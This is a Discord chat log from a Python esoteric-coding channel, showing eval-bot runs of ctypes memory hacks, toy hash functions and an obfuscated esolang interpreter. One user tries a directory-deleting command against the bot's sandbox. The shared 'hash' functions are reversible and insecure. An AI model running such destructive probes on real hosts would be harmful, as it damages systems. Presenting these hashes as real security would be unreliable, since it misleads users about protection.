001 | <string>:7: SyntaxWarning: invalid decimal literal
002 | Hello World Hello World Hello World Hello World Hello World G^QQOP4OPQJPG^QQOP4OPQJPG^QQOP4OPQJPG^QQOP4OPQJPG^QQOP4OPQJ
sick hound
#

question, whats the goal?

sly root
#

i was trying to write a new hashing function

#

in fact it creates a triangle from a character code point, and converts its square to the character

#

the formula here is 2R^2 * sin alpha * sin beta * sin gamma

sick hound
#

interesting

sick hound
#

!e

import random,typing,time,hmac,hashlib


def RANDOM_SEED(length: int = 5, chars: typing.Sequence[str] = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")) -> str:
    return "".join(random.choice(chars) for _ in range(length))
    

def CREATE_ID(username: str, dimiter: bool = True) -> str:
    if dimiter:
        return f"{RANDOM_SEED()}-{int(time.time())}-{hmac.new(b'0x30x40x50x80x10x8-0x3', username.encode(), hashlib.md5).hexdigest()}"
    return f"{RANDOM_SEED()}{int(time.time())}{hmac.new(b'0x30x40x50x80x10x8-0x3', username.encode(), hashlib.md5).hexdigest()}"

print(CREATE_ID('Testing'))
night quarryBOT
#

@sick hound :white_check_mark: Your 3.11 eval job has completed with return code 0.

wvzXg-1671456338-715e58e51ab3394227564ba68c058af6
sick hound
#

@sly root This is my attempt at a unique id (NOT A HASH)

#

I used this in my websites DB for user id's

karmic pumice
#

!e

bot.close()
night quarryBOT
#

@karmic pumice :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 1, in <module>
003 | NameError: name 'bot' is not defined
karmic pumice
#

thought so

#
print("Hello world.")
sick hound
#

LAMO, its in a snek-box all envs are private.

karmic pumice
#

!e

print("Hello world.")
night quarryBOT
#

@karmic pumice :white_check_mark: Your 3.10 eval job has completed with return code 0.

Hello world.
karmic pumice
#

hey is there source for this?

sick hound
#

Yeah

#

!github

#

0-0

karmic pumice
#

just saw the about me

sick hound
#

wait

karmic pumice
#

there is

sick hound
#

yeah

#

!source

night quarryBOT
karmic pumice
#

they do realize that they could just put the whole bot in one file lol

#

!e

import os
os.rmdir("C\")
night quarryBOT
#

@karmic pumice :x: Your 3.11 eval job has completed with return code 1.

001 |   File "<string>", line 2
002 |     os.rmdir("C\")
003 |              ^
004 | SyntaxError: unterminated string literal (detected at line 2)
karmic pumice
#

!e

import os
os.rmdir("C\\")
night quarryBOT
#

@karmic pumice :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 2, in <module>
003 | OSError: [Errno 30] Read-only file system: 'C\\'
karmic pumice
#

yep thought so

sick hound
#

its full-proof

#

it runs in its own box.

karmic pumice
#

SNEKBOX

sick hound
#

Yeah

karmic pumice
#

TO-DO: INSTALL SNEKBOX

#

WHY AM I YELLING

#

IT'S WEIRD

#

!e

# This shouldn't do anything
night quarryBOT
#

@karmic pumice :warning: Your 3.11 eval job has completed with return code 0.

[No output]
karmic pumice
#

thought so

sick hound
#

...

#

!e

for _ in range(5):
    print('@AquaQuokka run commands in #bot-commands')
night quarryBOT
#

@sick hound :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | @AquaQuokka run commands in #bot-commands
002 | @AquaQuokka run commands in #bot-commands
003 | @AquaQuokka run commands in #bot-commands
004 | @AquaQuokka run commands in #bot-commands
005 | @AquaQuokka run commands in #bot-commands
gleaming timber
#

!e print("```hello")

night quarryBOT
#

@gleaming timber :warning: Your 3.11 eval job has completed with return code 0.

[No output]
rugged sparrow
sick hound
#

if bool() or not not effects your projects then do not use python

muted cipher
versed eagle
#

we do weird stuff here on purpose

sick hound
#

lmao

versed eagle
#

:P

vague cairn
vague cairn
versed eagle
#

.__class__ can be overridden

#

either type, or using ctypes to get the slot works

sick hound
rugged owl
#

Anyone know why my custom grammar isnt acting as a while loop:

Ah i was doing syntax wrong yqb_smh

royal brook
quartz wave
sick hound
# sly root !eval ```py import math def gcrypt(t): ct="" for c in t: α,*γ,β...
import random,string

def gcrypt(string, salt):
    # Encode the input string and salt as bytes
    string_bytes = string.encode()
    salt_bytes = salt.encode()
    # Initialize a hash value to zero
    hash_value = 0
    # Iterate over the string and salt bytes
    for b in string_bytes + salt_bytes:
        # Add the current byte to the hash value
        hash_value += b
        # Left-shift the hash value by one bit
        hash_value <<= 1
        # XOR the hash value with the current byte
        hash_value ^= b
    # Return the hexadecimal representation of the hash value
    return hex(hash_value)

def verify_string(string, stored_salt, stored_hash):
    # Generate a new hash value for the input string using the stored salt
    new_hash = gcrypt(string, stored_salt)
    # Compare the new hash value to the stored hash value
    if new_hash == stored_hash:
        # The input string is authentic
        return True
    else:
        # The input string is not authentic
        return False

# Generate a random salt
salt = ''.join(random.choices(string.ascii_letters + string.digits, k=10))

# Hash a string and store the salt and hash value
original_string = "Hello World"
stored_salt = salt
stored_hash = gcrypt(original_string, salt)

# Verify the authenticity of the original string
result = verify_string(original_string, stored_salt, stored_hash)
print(result)  # Output: True

# Verify the authenticity of a modified string
modified_string = "Hello World!"
result = verify_string(modified_string, stored_salt, stored_hash)
print(result)  # Output: False

I improved your hashing function

versed eagle
sick hound
#

Yeah,

#

In production if used, i would do that.

versed eagle
#

:P

sick hound
versed eagle
#

i wonder if the hash can be reversed, given that the algorithm is known and the salt is known
brb im gonna go try to reverse your hash

sick hound
#

This is not a hashing function
But I use this for user ID's

import random,typing,time,hmac,hashlib


def RANDOM_SEED(length: int = 5, chars: typing.Sequence[str] = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")) -> str:
    return "".join(random.choice(chars) for _ in range(length))
    

def CREATE_ID(username: str = RANDOM_SEED(length=32), dimiter: bool = True) -> str:
    if dimiter:
        return f"{RANDOM_SEED()}-{int(time.time())}-{hmac.new(b'0x30x40x50x80x10x8-0x3', username.encode(), hashlib.md5).hexdigest()}"
    return f"{RANDOM_SEED()}{int(time.time())}{hmac.new(b'0x30x40x50x80x10x8-0x3', username.encode(), hashlib.md5).hexdigest()}"

any improvements?

versed eagle
#

well, this removes the salt

known_salt = something
hashnum = int(somehash, 16)
for b in known_salt[::-1]:
    hashnum ^= b
    hashnum >>= 1
    hashnum -= b
versed eagle
#

dk how you would get the string from there though

sick hound
versed eagle
#

i mean, really all we have to do from there is get a string that has the same hash as whatever is there
bc a hash collision will also work

#

so instead of getting original string, getting a hash collision

#

basically, we need a character such that:
(character_ord * 2) ^ character_ord = hash_value

#

actually
(something * 2) ^ something = 3 * something

#

I'm not sure, but I THINK that after the salt is removed, you can do chr(hash_value / 3) to get a hash collision

#

*as long as hash_value < 128 and it's divisible by 3

sly root
#

@sick hound idk if you'll need something from this snippet, but still i'll leave it here

# N-th digit in the number
# nd(n,i=0) ⌊n/10⌋ⁱ mod 10
nd=lambda n,i=0: n//10**i %10

# Natural logarithm 
# A bit slower (100x - approximate number, I have never benchmarked this) than the math.log
# ln(n) lim (n→Ω) n(x^1/n - 1)
def ln(n):
 s,t=0.0,(f:=(x:=(n-1)/(n+1)))/(d:=1.0)
 while f>1e-19:
  s+=t;d+=2.0;t=(f:=f*(x**2))/d
 return 2.0*s

# Primitive log10n implementation
log10=lambda n:ln(n)/ln(10)

# Digit count in the number
# nl(n) ⌊log₁₀n + 1⌋
nl=lambda n:int(math.log10(n))+1
#nl=lambda n:int(log10(n))+1```
versed eagle
sly root
versed eagle
#

ah

sly root
#

isn't lg and log10 the same?

versed eagle
#

¯_(ツ)_/¯

finite blaze
rugged owl
# royal brook multi line lambdas for python: https://github.com/dankeyy/superlambda.py
# -*- encoding: custom -*-
# include "random.h"

func test(x<int>, y<int>, z<bool>) && [int]:
  return (x, y, z)

print(test(1, 2, True))

This made me want to make my own, so i started this, now to add 100 more things Pogsire

Update:

# -*- encoding: cpp -*-
#from "cout.h" #include "cout", "cin"

func test() {
    cin >> "Enter a number: " << 3 # 3 is the default if None is entered
    cout << "You entered: " << cin.input_value
}

test()
"""
Enter a number: 3
You entered: 3
"""
snow beacon
versed eagle
#

im bad at math :(

snow beacon
#

The obstacle is that ^ doesn't always do the same thing as + because of the carry bits. When you make an adder, you also do an & operation on the bits.

versed eagle
#

yeah i just forgot that not all numbers are powers of 2

#

lmao

#

tested my theory with:
1
2
decided it was good enough

snow beacon
#

Interestingly, since you leftshift by one then xor, the least significant bit is unchanged from the original. You can probably use that bit to recover the 2's bit, and use that for the 4's bit.

#

You could also start with the most significant bit, because that's guaranteed to be xor'd with 0.

pure dew
quartz wave
pure dew
#

oh thanks

sick hound
#

!e

def wtf(a):
    def s(a,b,c):a.__setitem__(b,c)
    b,c,d,e,h,i = [0],[0]*30000,{},[],[0],["X"];[((f=="Q" and e.append(g)),(f=="3" and (d.__setitem__(e[-1], g),s(d,g,e.pop()),)))for g,f in enumerate(a)];next(0 for _ in iter(int, 1) if not (h[0] < len(a) and (s(i,0,a[h[0]]),(i[0]=="A" and (s(b,0,b[0]+1))),(i[0]=="v" and (s(b,0,b[0]-1))),(i[0]=="z" and (s(b,0,b[0]+2))),(i[0]=="9" and (s(b,0,b[0]-2))),(i[0]=="j" and (s(c,b[0],(c[b[0]]+1)%256))),(i[0]=="7" and (s(c,b[0],(c[b[0]]-1)%256))),(i[0]=="h" and (s(c,b[0],(c[b[0]]+2)%256))),(i[0]=="N" and (s(c,b[0],(c[b[0]]-2)%256))),(i[0]=="e" and (s(c,b[0],(c[b[0]]*2)%256))),(i[0]=="c" and (s(c,b[0],(c[b[0]]+3)%256))),(i[0]=="M" and (s(c,b[0],(c[b[0]]+4)%256))),(i[0]=="Q" and c[b[0]]==0 and (s(h,0,d[h[0]]))),(i[0]=="3" and c[b[0]]!=0 and (s(h,0,d[h[0]]))),(i[0]=="d" and (print(chr(c[b[0]]),end=""))),(i[0]=="," and (s(c,b[0],ord(input())))),s(h,0,h[0]+1))))

wtf("heeQAMQAhAcAcAj9973AjAjA7zjQv3v73zdAN7dMcddcdzdv7dvdcdNNNdNNNNdzjdAhd")
night quarryBOT
#

@sick hound :white_check_mark: Your 3.11 eval job has completed with return code 0.

Hello World!
rugged owl
#

magic 🪄

languid hare
#

[0]*30000
looks like an obfuscated brainfuck

lyric fern
twin dock
#

Hi, is there a way to bypass thr prohibition to add an attribute to a buildins type ?

#

i would like to overwrite dunder class_getitem on int and float, but python doesn't let me

twin dock
#
>>> from fishhook import hook
>>> from typing import GenericAlias
>>> @hook(int)
... def __class_getitem__(cls, *keys):
...     return GenericAlias(int, tuple(*keys))
...
>>> int[1, 5]
int[()]
>>> int[1, 5, 7]
int[()]
>>> int[1]
int[()]

Hmmm, it seems to partially work

#

idk if i done something wrong

#

Oh okay i don't need to take cls

#

thanks !

versed eagle
sick hound
#

"MooScript"

versed eagle
#

hm
8 possibilities for each moo

#

you could make an assembly language with that

#

or something stack based

#

like bf?

sick hound
versed eagle
#

ah

#

nice

sick hound
#

moo = 0
MOO = 7

versed eagle
#

right

#

8 possibilities

#

tis binary

#

very nice

sick hound
versed eagle
#

hm
you could do something like a dict

newCode = {
    0 : "moo",
    1 : "moO",
    etc
}[b]
sick hound
#

that would probably be a lot faster

#

lookup tables are also way more readable

versed eagle
#

easier to refactor as well

#

in case you ever want to do something like add more letters

#

but either way, this is a fun idea

sick hound
languid hare
#

@dry mirage flushBlush

restive void
#

.bm

glass drumBOT
dry mirage
#

like keyword var with a space

languid hare
#

probably not? would fail at the parsing stage

#

i wonder what happens with soft keywords lemonThink

versed eagle
languid hare
#

feels cheaty :p

versed eagle
#

yeah

#

it does

#

but if it works it works :P

dry mirage
# languid hare feels cheaty :p

on other notes, mutable strs 👀

from fishhook import hook
from einspect import view

@hook(str)
def __setitem__(self, index, value):
    view(self).buffer[index] = value.encode()

s = "cat"
s[0] = "d"
s[1:] = "og"

print(s)
>> dog
languid hare
#

it's beautiful, toss it into the fire

versed eagle
#

oh cereal did that once
except using some ctypes trickery instead of fishhook

dry mirage
languid hare
#

!e my favorite fishhook slice trick

from fishhook import hook
@hook(slice)
def __hash__(self): 
  return hash((self.start, self.stop, self.step))

d = {}
d[::-1] = "what could go wrong"
print(d[::-1])
night quarryBOT
#

@languid hare :white_check_mark: Your 3.11 eval job has completed with return code 0.

what could go wrong
languid hare
quiet briar
#

yo can someone fix a 1 line thing real fast

versed eagle
#

uh sure ig

#

depends what it is

#

but, go to a help channel

#

not here

dry mirage
# languid hare waaait what's going on here

we changed the memory of the object at the address pointed to by "cat" into "dog", and the later "cat" due to being a string literal, re-uses the same object as before that was modified

languid hare
dry mirage
#
from fishhook import hook
from einspect import view

@hook(int)
def __iadd__(self, other):
    view(self).value += other
    return self

x = 600
x += 150

print(x)
>> 750
print(600)
>> 750
versed eagle
#

oh yeah you can do some fun ctypes trickery with numbers that are lower

#

because they're stored

dry mirage
#

hm? 600 shouldn't be stored, only up to 256 or so I think

#

it works the same for all the ints, the lower ones are just slightly more unsafe

versed eagle
#

yeah

#

im not talking about 600

#

i mean with the stored ones

#

you can do fun ctypes trickery

#

what you were doing reminded me

#

!e

from ctypes import *
c_longlong.from_address(id(1)+24).value = c_longlong.from_address(id(69)+24).value
print(1)
night quarryBOT
#

@versed eagle :white_check_mark: Your 3.11 eval job has completed with return code 0.

69
versed eagle
#

fun ctypes trickery

dry mirage
#

that should work the same for any other int literal as well though

versed eagle
#

this one is fun

#

!e

from ctypes import *
n=1
while True:
    c_longlong.from_address(id(n)+24).value = c_longlong.from_address(id(n+1)+24).value
    print(n)
night quarryBOT
#

@versed eagle :x: Your 3.11 eval job has completed with return code 143 (SIGTERM).

001 | 2
002 | 4
003 | 8
004 | 16
005 | 32
006 | 64
007 | 128
008 | 256
009 | 512
010 | 1024
011 | 2048
... (truncated - too many lines)

Full output: too long to upload

versed eagle
#

did they change that from 3.10 to 3.11?

dry mirage
#

though if you modify 1, pretty much doing anything in the interpreter will break something

#

!e

from ctypes import *

c_longlong.from_address(id(1)+24).value = c_longlong.from_address(id(69)+24).value

print(1)
import numpy as np
night quarryBOT
#

@dry mirage :x: Your 3.11 eval job has completed with return code 139 (SIGSEGV).

69
versed eagle
#

ah yeah
true

#

when doing stuff like this constant folding does become annoying

dry mirage
#

!e also apparently modifying 5 is always a segmentation fault (probably due to some code flow)

from ctypes import *

c_longlong.from_address(id(5)+24).value = c_longlong.from_address(id(100)+24).value

print(5)
night quarryBOT
#

@dry mirage :x: Your 3.11 eval job has completed with return code 139 (SIGSEGV).

100
versed eagle
dry mirage
versed eagle
#

!e

from ctypes import *
n=1
c_longlong.from_address(id(n)+24).value = c_longlong.from_address(id(n+1)+24).value
print(1 + 1)
print(n + n)
night quarryBOT
#

@versed eagle :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | 2
002 | 4
versed eagle
#

n = 1 (which is 2)

dry mirage
#

yeah but, ints are supposed to be immutable

versed eagle
#

true

dry mirage
#

!e just like how tuples are supposed to be hashable, under the assumption you can't make a recursive tuple 🥴

from ctypes import c_ssize_t

tup = (10, 20, 30)

arr = (c_ssize_t * len(tup)).from_address(id(tup)+(8*3))
arr[1] = id(tup)

print(tup)
print(hash(tup))
night quarryBOT
#

@dry mirage :x: Your 3.11 eval job has completed with return code 139 (SIGSEGV).

(10, (...), 30)
sick hound
#

!e ```py
A='mOoMoomoOMOOmOoMoomoOMOOmoomoomoomoomoomoomoomoomooMoomOOmoomoomoomoomoomoomoomoomoomoomoomoomOomoOMOOmOOMoOmooMoOmoOmoOmoOmoOmoOmoOmoOmoOmoOmoOmoOmoOMoOmoomoomoomoomoomoomoomoomoomoomoomoomoomooMoOmOO'
eval(compile(import("base64").b64decode("CmE9J0lOUFVUJwpaPSdQUklOVCcKWT0nTEVGVCcKWD0nUklHSFQnClc9J0RFQ1JFTUVOVCcKVj0nSU5DUkVNRU5UJwpVPSc3JwpUPSc2JwpTPSc1JwpSPSc0JwpRPSczJwpQPScyJwpPPScxJwpOPScwJwpNPWRpY3QKRT0nbG9sJwpJPSdDTE9TRV9MT09QJwpIPSdPUEVOX0xPT1AnCkQ9U3ludGF4RXJyb3IKRz1sZW4KaW1wb3J0IHJlCkY9e046VixPOlcsUDpYLFE6WSxSOkgsUzpaLFQ6YSxVOkl9CkM9eydtb28nOk4sJ21vTyc6TywnbU9vJzpQLCdtT08nOlEsJ01vbyc6UiwnTW9PJzpTLCdNT28nOlQsJ01PTyc6VX0KZGVmIEsoTzBPT09PME8wMDAwTzAwT08pOgoJQT1saXN0KCk7Qj1NKCkKCWZvciAoQyxMKSBpbiBlbnVtZXJhdGUoTzBPT09PME8wMDAwTzAwT08pOgoJCUo9RltMXQoJCWlmIEo9PUg6QS5hcHBlbmQoQykKCQllbGlmIEo9PUk6CgkJCWlmIEcoQSk9PTA6cmFpc2UgRChFKQoJCQlLPUEucG9wKCk7QltLXT1DO0JbQ109SwoJaWYgRyhBKT4wOnJhaXNlIEQoRSkKCXJldHVybiBCCmRlZiBCKE8wT09PT08wTzBPMDBPTzBPKToKCUY9Jyhtb28pJztBPXJlLmZpbmRhbGwoRixPME9PT09PME8wTzAwT08wTyxyZS5JR05PUkVDQVNFKQoJaWYgQT09W106cmFpc2UgRChFKQoJQj0nJwoJZm9yIEcgaW4gQTpCKz1DW0ddCglyZXR1cm4gQgpkZWYgSihPME8wMDAwT09PTzBPME8wTyk6CglFPU8wTzAwMDBPT09PME8wTzBPO0o9SyhFKTtCPU0oKTtBPTA7RD0wCgl3aGlsZSBEPEcoRSk6CgkJTD1FW0RdO0M9RltMXQoJCWlmIEM9PVg6QSs9MQoJCWVsaWYgQz09WTpBLT0xCgkJZWxpZiBDPT1WOgoJCQlCW0FdPUIuZ2V0KEEsMCkrMQoJCQlpZiBCW0FdPT0yNTY6QltBXT0wCgkJZWxpZiBDPT1XOgoJCQlCW0FdPUIuZ2V0KEEsMCktMQoJCQlpZiBCW0FdPT0tMTpCW0FdPTI1Ni0xCgkJZWxpZiBDPT1hOkJbQV09b3JkKHN5cy5zdGRpbi5yZWFkKDEpKSUyNTYKCQllbGlmIEM9PVo6cHJpbnQoY2hyKEIuZ2V0KEEsMCkpLGVuZD0nJyxmbHVzaD1UcnVlKQoJCWVsaWYgQz09SDoKCQkJaWYgQi5nZXQoQSwwKT09MDpEPUpbRF0KCQllbGlmIEM9PUk6CgkJCWlmIEIuZ2V0KEEsMCkhPTA6RD1KW0RdCgkJZWxzZTowCgkJRCs9MQpMPUIoQSkKSihMKQ=="),"<string>","exec"))

night quarryBOT
#

@sick hound :white_check_mark: Your 3.11 eval job has completed with return code 0.

lmao
sick hound
#

efficiency 100

#

!e ```py
A=import("zlib").decompress(b'x\x9c\xcb\xf5\xcf\xf7\xcd\xcf\xcf\xcd\xf7\xf7\xf5\xf7\xcfEf\x83\x18X\x10H\x01nY\x10\xf2\x87\x9b\xe6\xef\x9b\xef\x0f\xe6\x12\xa7\x1dI#X%ve@qd)L+P-"\x84P,\x85\x98L\x18a\xb5\x94p\xc8P\x12>h\xba\x90\xbd\x8f\xd5y\xa4\xb8\x9c\xa2\xe0\xf2\xf7\x07\x00\xb5\xd1\xe6,').decode()
eval(compile(import("base64").b64decode("CmE9J0lOUFVUJwpaPSdQUklOVCcKWT0nTEVGVCcKWD0nUklHSFQnClc9J0RFQ1JFTUVOVCcKVj0nSU5DUkVNRU5UJwpVPSc3JwpUPSc2JwpTPSc1JwpSPSc0JwpRPSczJwpQPScyJwpPPScxJwpOPScwJwpNPWRpY3QKRT0nbG9sJwpJPSdDTE9TRV9MT09QJwpIPSdPUEVOX0xPT1AnCkQ9U3ludGF4RXJyb3IKRz1sZW4KaW1wb3J0IHJlCkY9e046VixPOlcsUDpYLFE6WSxSOkgsUzpaLFQ6YSxVOkl9CkM9eydtb28nOk4sJ21vTyc6TywnbU9vJzpQLCdtT08nOlEsJ01vbyc6UiwnTW9PJzpTLCdNT28nOlQsJ01PTyc6VX0KZGVmIEsoTzBPT09PME8wMDAwTzAwT08pOgoJQT1saXN0KCk7Qj1NKCkKCWZvciAoQyxMKSBpbiBlbnVtZXJhdGUoTzBPT09PME8wMDAwTzAwT08pOgoJCUo9RltMXQoJCWlmIEo9PUg6QS5hcHBlbmQoQykKCQllbGlmIEo9PUk6CgkJCWlmIEcoQSk9PTA6cmFpc2UgRChFKQoJCQlLPUEucG9wKCk7QltLXT1DO0JbQ109SwoJaWYgRyhBKT4wOnJhaXNlIEQoRSkKCXJldHVybiBCCmRlZiBCKE8wT09PT08wTzBPMDBPTzBPKToKCUY9Jyhtb28pJztBPXJlLmZpbmRhbGwoRixPME9PT09PME8wTzAwT08wTyxyZS5JR05PUkVDQVNFKQoJaWYgQT09W106cmFpc2UgRChFKQoJQj0nJwoJZm9yIEcgaW4gQTpCKz1DW0ddCglyZXR1cm4gQgpkZWYgSihPME8wMDAwT09PTzBPME8wTyk6CglFPU8wTzAwMDBPT09PME8wTzBPO0o9SyhFKTtCPU0oKTtBPTA7RD0wCgl3aGlsZSBEPEcoRSk6CgkJTD1FW0RdO0M9RltMXQoJCWlmIEM9PVg6QSs9MQoJCWVsaWYgQz09WTpBLT0xCgkJZWxpZiBDPT1WOgoJCQlCW0FdPUIuZ2V0KEEsMCkrMQoJCQlpZiBCW0FdPT0yNTY6QltBXT0wCgkJZWxpZiBDPT1XOgoJCQlCW0FdPUIuZ2V0KEEsMCktMQoJCQlpZiBCW0FdPT0tMTpCW0FdPTI1Ni0xCgkJZWxpZiBDPT1hOkJbQV09b3JkKHN5cy5zdGRpbi5yZWFkKDEpKSUyNTYKCQllbGlmIEM9PVo6cHJpbnQoY2hyKEIuZ2V0KEEsMCkpLGVuZD0nJyxmbHVzaD1UcnVlKQoJCWVsaWYgQz09SDoKCQkJaWYgQi5nZXQoQSwwKT09MDpEPUpbRF0KCQllbGlmIEM9PUk6CgkJCWlmIEIuZ2V0KEEsMCkhPTA6RD1KW0RdCgkJZWxzZTowCgkJRCs9MQpMPUIoQSkKSihMKQ=="),"<string>","exec"))

night quarryBOT
#

@sick hound :white_check_mark: Your 3.11 eval job has completed with return code 0.

Hello, World!
finite blaze
#

🥱

night quarryBOT
#
Missing required argument

code

quartz wave
versed eagle
#

yeah that

sick hound
manic flax
#

#bot-commands message

#

Running multiple lines of code in one line

#

Making it possible to create mandelbrot set in one line of code using python

quartz wave
manic flax
#

Oh

#

I didn't know that lmao

#

make it more esoteric ¯_(ツ)_/¯

sick hound
sick hound
gleaming timber
#

!e ```py
@type.call
class emoji:
def format(self, fmt_spec):
emojis = {
"face_vomiting": "\U0001F92E",
}
return emojis[fmt_spec]

print(f"{emoji:face_vomiting}")

night quarryBOT
#

@gleaming timber :white_check_mark: Your 3.11 eval job has completed with return code 0.

🤮
pure dew
#

!e ```py
from unicodedata import lookup
@type.call
class emoji:
def format(self, spec):
return lookup(spec.upper())

print(f"{emoji:sign of the horns}")

night quarryBOT
#

@pure dew :white_check_mark: Your 3.11 eval job has completed with return code 0.

🤘
sick hound
#

lol that's cool

#

btw unicodedata.lookup is already case insensitive

languid hare
#

hmm i found something weird

#

i was testing a const implementation

#

!e

import string
from ctypes import *

obase = py_object.from_address(id(globals()) + 8)
class ConstScope(dict):
    __slots__ = ()
    const_chars = set(string.ascii_uppercase + "_" + string.digits)
    def __setitem__(self, key, value, dict=dict, obase=obase):
        if set(key) < ConstScope.const_chars:
            try:
                obase.value = dict 
                if key in self:
                    raise ValueError("Cannot overwrite constant %s" % key)
            finally:
                obase.value = __class__
        dict.__setitem__(self, key, value)
obase.value = ConstScope

my_var = 1
MY_CONST = 2

print(f"{my_var = }")
print(f"{MY_CONST = }")

my_var = 3
print(f"{my_var = }")

MY_CONST = 999
print(f"{MY_CONST = }")
night quarryBOT
#

@languid hare :x: Your 3.11 eval job has completed with return code 1.

001 | my_var = 1
002 | MY_CONST = 2
003 | my_var = 3
004 | Traceback (most recent call last):
005 |   File "<string>", line 28, in <module>
006 |   File "<string>", line 13, in __setitem__
007 | ValueError: Cannot overwrite constant MY_CONST
languid hare
#

all good right?

#

!e but then:

import string
from ctypes import *

obase = py_object.from_address(id(globals()) + 8)
class ConstScope(dict):
    __slots__ = ()
    const_chars = set(string.ascii_uppercase + "_" + string.digits)
    def __setitem__(self, key, value, dict=dict, obase=obase):
        if set(key) < ConstScope.const_chars:
            try:
                obase.value = dict 
                if key in self:
                    raise ValueError("Cannot overwrite constant %s" % key)
            finally:
                obase.value = __class__
        dict.__setitem__(self, key, value)
obase.value = ConstScope

my_var = 1
MY_CONST = 2

print(f"{my_var = }")
print(f"{MY_CONST = }")

my_var = 3
print(f"{my_var = }")

MY_CONST = 999
print(f"{MY_CONST = }")

def scope(): global MY_CONST
night quarryBOT
#

@languid hare :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | my_var = 1
002 | MY_CONST = 2
003 | my_var = 3
004 | MY_CONST = 999
languid hare
#

???

#

somehow the scope after is changing the access before

#

@maiden blaze send help

quartz wave
languid hare
#

hmm well i tested it on "_".isupper() and it was false

#

but then now i test it "A_A".isupper() and its true

languid hare
quartz wave
#

isn't that expected

#

i don't really see _ as an uppercase variable

languid hare
#

i guess

quartz wave
#

more often than not it's always being overwritten because it's a conventional "throwaway" variable

languid hare
#

how about _1

quartz wave
languid hare
#

mm fair

#

anyway thats not the important bit, brain melting on the scopes

quartz wave
#

the code before it generates STORE_NAME

#

what could be the difference?

#

oh

quartz wave
languid hare
#

interesting

night quarryBOT
#

Python/bytecodes.c lines 985 to 988

if (PyDict_CheckExact(ns))
    err = PyDict_SetItem(ns, name, v);
else
    err = PyObject_SetItem(ns, name, v);```
quartz wave
night quarryBOT
#

Python/bytecodes.c line 1125

int err = PyDict_SetItem(GLOBALS(), name, v);```
quartz wave
#

might be easier to handle once 3.12 releases because it has dict watchers to watch for changes to a dictionary

quartz wave
#

why do i feel like this is me

#

oh wait wtf this was me

#

you literally can't distinguish between different deleted users

#

update: i can understand it now

night quarryBOT
#

byref.py lines 9 to 11

@hook(pythonapi.PyDict_SetItem, argtypes=[py_object]*3, restype=c_void_p)
def pydict_setitemhook(mp, key, val):
    mp[key] = val```
quartz wave
#

doesn't work on windows

rugged sparrow
#

It should work on windows? (I think)

#

It would need to be intel cpu

quartz wave
#

that's not on windows is it?

rugged sparrow
#

Oh yea

quartz wave
#

i've also tried with VirtualProtect btw

#

i can't figure out how to make it work

rugged sparrow
#

It didn't work with virtual protect? You just need to get the process to a point that it can change its own executable code in memory

#

I'm out of the country rn but when I get back if you remind me I'll get it working on windows

quartz wave
#

kk

rugged sparrow
#

From looking at virtual protect docs, probably needed to refresh the instruction cache (also might need a way to do that on the unix version too now that I think about it)

versed eagle
sick hound
#

!e

x=list(str(sum([*map(lambda x:sum([*map(int,(bin(ord(x))[2:]))]),'hello world!')])*(1<<1|1)));y=x[9//2//(9//2)];x[654**0<<1]=x[3>>1];x[(10^1)&1]=eval(chr(ord('Y')+(2<<4)),locals());x=__import__('htam'[::~0]).sqrt(int('abc'[:8*(2>>3)].join(x)));x=int(x//4*(2<<2>>1))+[~~(1&1&1&1&1&1&1)][0];x*=len(hex(3735928559)[[*[2<<1>>1]][0]:]);print(chr(x),file=getattr(__import__(chr(ord('S')+(2<<4))+'y'+chr(ord('t')-1)),'stdout'),end='');x=str(6+(2&3^2&3))+[*map(str,[*[int(str(6))+(6//2)]])][0];y=int((int(x)|[*[4*((34^34)|1<<3)]][0]));i=sum([*[*[*[y if ~((int(x)*c)>y) else 0 for c in range(5^5,int(str(10)*2,base=2<<1>>1),5%2)]]]]);i=int(str(i)[:~0]);z=getattr(__import__(chr(int('12'[:5&abs(~0)]*(1<<1|1)))+chr(i+(1<<2|1<<1|1)+int(hex(7)[2:],base=16))),'sys');getattr(z,'stdo'+chr(10**(1<<1)+(8*9-(7*9)+8))+chr(10**(1<<1)+(8*9-(7*9)+7))).write.__call__(chr(i));d={'ba'+[*[chr(ord('S')+(2<<4))]][0]+chr(int(bin(5)[2:])):2};x=ord(getattr(__builtins__,'ch'+chr(ord('R')+[*[2<<4]][0])).__call__(ord('0')+(2<<(int(str(ord('e')),**d))-(2<<1))));x=eval(compile('x','','eval'),globals())*(eval(type(5).__name__)(chr(eval(compile('x','','eval'),globals()))));x=int(x-(round.__call__(x//((7>>1)&2),-1)));a={'end':'end'[:2-(~~2)]};print(chr(x)*2,**{**a,**{'file':getattr(__import__(chr(ord('S')+((2<<5)//2))+chr(ord('n')+int(str(10)*2,base=2)+5%2)+chr(ord('S')+((2<<5)//2))),'_'*2+'stdo'+'u'+chr(ord('n')-ord('n')+ord('t'))+'_'*2)}});x=str(ord.__call__(chr(ord('0')+(2<<(int(str(ord('e')),base=2)%2+eval('~'*5+chr(48))))))*(1<<(5&(1<<0))));x=eval('__builtins__.__dict__')['chr'].__call__(int(x)+int(x[:[*[(5&1&1&1)+1]][0]])+int(x[:[*[1]][0]]));d={};print(x,file=getattr(eval('s',d) if not exec('import '+ord('y').__getattribute__('__repr__').__call__().replace('1','s').replace('2','y')+';s=sys',d) else None,'stdout'),end='');
night quarryBOT
#

@sick hound :white_check_mark: Your 3.11 eval job has completed with return code 0.

hello
sick hound
#

Works.

sick hound
night quarryBOT
#

Hey @versed eagle!

You either uploaded a .txt file or entered a message that was too long. Please use our paste bin instead.

versed eagle
#

hello world :D

sick hound
versed eagle
#

yeah
its not that hard of a language to learn :P

sick hound
versed eagle
#

!e

from ctypes import *
class glob(dict):
    def __getitem__(s,i):
        (_:=({}.__class__.__getitem__))
        try:
            return _(s,i)
        except:
            try:
                return _(s,"__builtins__").__getattribute__(i)
            except:
                return f"undefined variable '{i}' lmao"
py_object.from_address(id(globals())+8).value=glob
x = 1
print(x)
print(y)
night quarryBOT
#

@versed eagle :x: Your 3.11 eval job has completed with return code 139 (SIGSEGV).

001 | 1
002 | undefined variable 'y' lmao
versed eagle
#

